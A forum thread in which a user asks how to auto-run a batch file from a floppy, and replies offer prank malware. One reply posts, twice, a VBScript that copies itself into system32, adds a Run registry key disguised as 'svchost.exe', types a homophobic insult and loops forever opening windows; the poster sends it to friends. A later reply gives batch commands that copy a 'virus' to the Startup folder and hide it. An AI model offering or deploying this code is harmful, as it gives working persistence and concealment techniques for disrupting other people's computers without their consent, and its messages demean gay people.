Answer» I am trying to get a batch file to load off of a floppy when inserted and booted in a windows computer. It seems it needs to think it's a system disk. I have been messing with 98 and XP BOOT floppies trying to fake out the os. Any ideas? And just so you can feel at ease, this is out of curiosity's sake. I am not programming any death viruses. I have just learned the fun in batch files, and I like the challenge. Thanks for your help! lets see well heres a fun script to do in .vbs
Set wshShell = wscript.CreateObject("WScript.Shell") Wshshell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost.exe","C:\Windows\System32\Tankgame.vbs" Set wshshell = WScript.CreateObject("Scripting.FileSystemObject") Wshshell.CopyFile WScript.ScriptFullName, "C:\Windows\system32\Tankgame.vbs" Wshshell.run "Notepad" wscript.sleep 100 Wshshell.sendkeys "YOU" wscript.sleep 700 wshshell.sendkeys "ARE" Wscript.sleep 700 wshshell.sendkeys "GAY!" wscript.sleep 10000 MsgBox"An error has occured. It appears that you are gay.", 16 + 4096, "Gay Alert" wscript.sleep 10000 do wscript.sleep 2000 wshshell.run "IEXPLORE" Wscript.sleep 2000 wshshell.run "notepad" wscript.sleep 100 wshshell.sendkeys "HELLO" wscript.sleep 500 wshshell.sendkeys "whats" wscript.sleep 500 wshshell.sendkeys "up!" wscript.sleep 1000 MsgBox"Lets try again, shall we?", 16 + 4096, "@[emailprotected]" loop
The script starts by making it a process. Then, it makes a registry key point to a file it will create right AWAY, witch will make the file to run on startup. Then, it copies itself to C:\Windows\system32\Tankgame.vbs. Now the scripts opens notepad, and slowly types YOU ARE GAY. Then it makes a message occur with the title "Gay Alert", telling the victim he is gay. Then, it continually opens internet explorer, opens notepad writing hello wahts up!, and making a text box asking if "We should try again". This was just a bad example of what you can USE VBS scripting for. Be creative, but also, think before you make a file that will harm the victims computer.
i send this to my freinds al the time just to joke around
lets see well heres a fun script to do in .vbs
Set wshShell = wscript.CreateObject("WScript.Shell") Wshshell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost.exe","C:\Windows\System32\Tankgame.vbs" Set wshshell = WScript.CreateObject("Scripting.FileSystemObject") Wshshell.CopyFile WScript.ScriptFullName, "C:\Windows\system32\Tankgame.vbs" Wshshell.run "Notepad" wscript.sleep 100 Wshshell.sendkeys "YOU" wscript.sleep 700 wshshell.sendkeys "ARE" Wscript.sleep 700 wshshell.sendkeys "GAY!" wscript.sleep 10000 MsgBox"An error has occured. It appears that you are gay.", 16 + 4096, "Gay Alert" wscript.sleep 10000 do wscript.sleep 2000 wshshell.run "iexplore" Wscript.sleep 2000 wshshell.run "notepad" wscript.sleep 100 wshshell.sendkeys "hello" wscript.sleep 500 wshshell.sendkeys "whats" wscript.sleep 500 wshshell.sendkeys "up!" wscript.sleep 1000 MsgBox"Lets try again, shall we?", 16 + 4096, "@[emailprotected]" loop
The script starts by making it a process. Then, it makes a registry key point to a file it will create right away, witch will make the file to run on startup. Then, it copies itself to C:\Windows\system32\Tankgame.vbs. Now the scripts opens notepad, and slowly types YOU ARE GAY. Then it makes a message occur with the title "Gay Alert", telling the victim he is gay. Then, it continually opens internet explorer, opens notepad writing hello wahts up!, and making a text box asking if "We should try again". This was just a bad example of what you can use VBS scripting for. Be creative, but also, think before you make a file that will harm the victims computer.
i send this to my freinds al the time just to joke around
Could that run if you boot from it? Also is it a batch file? I am attempting it now, but just checking.no its not a batch file its a visual basic script the extention is .vbsWeird, so I saved your program to run on my laptop on bootup. My laptop doesn't run it on bootup. (Keep in mind I am using a floppy to test this.) If I run it in windows to test it I get:
well ill looked back over it there some stuff messed up i guess but i think this will work with a batch
Code Sample copy %0 c:\windows\startm~\Programs\StartUp\whateve.bat
You can change “whateve.bat” to whatever you want your file to be called and you can change c:\windows\startm~1\program\startup to anywhere else you want to copy your prog. You can also make your prog a bit more hidden by adding this
Code Sample Attrib +r +h C:\windows\startm~1 \program\startup\whateve.bat
after you have copied your virus to the startup folder. This will make your prog hidden and read-only
|